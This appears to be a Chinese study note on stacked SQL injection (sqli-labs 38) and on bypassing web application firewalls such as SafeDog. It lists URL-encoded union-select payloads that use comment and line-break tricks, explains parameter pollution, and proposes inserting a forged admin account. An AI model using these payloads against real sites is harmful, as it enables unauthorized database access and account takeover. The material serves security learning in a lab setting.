Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入
堆叠注入的局限性:仅有一部分数据库支持
Sqli-lbs 38---原理解析
前:
后:
堆叠注入的常见应用场景:
//注入时需要知道管理员的账号和密码,密码被加密无法解出时,可以运用堆叠注入进行插入数据,此数据是自定义的,可以正常登陆。
WAF绕过
Eg:安全狗中的各种防护及规则
WAF部署--安全狗,宝塔等WAF搭建部署
代码决定接收方式,比如某$id值只接收GET型提交方式,这样绕过WAF时,就算更改提交方式,思路正确,但参数无法被正常执行。
例如sqli-labs2 ,用post注入无反应,查看源码
讲注入方式改为$_REQUEST['id']
修改后可用post型注入
%0a----------截断
#部分bypass sqlinject payload
%23-----#(绕过注释符)
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!!select%201, database%23x%0A( ),3*/; %23
id=-1%20union%20/* !44509select*/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/! database / ( ),3%23
id=1/* * &id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/ ( ),3%23
###参数污染
例如:php/Apache----获取的参数是last
/***/-----相当于注释符
目录
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入
Sqli-lbs 38---原理解析
堆叠注入的常见应用场景:
WAF绕过
###参数污染
安全狗匹配的时候匹配的是1/-1 union select 1,2,3#*/或1/&id=-1%20union%20select%201,2,3%23/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#/能正常执行sql
当前执行语句:SELECT * FROM users WHERE id=-1 union select 1,2,3#*/参数污染
Fuzz----用脚本批量跑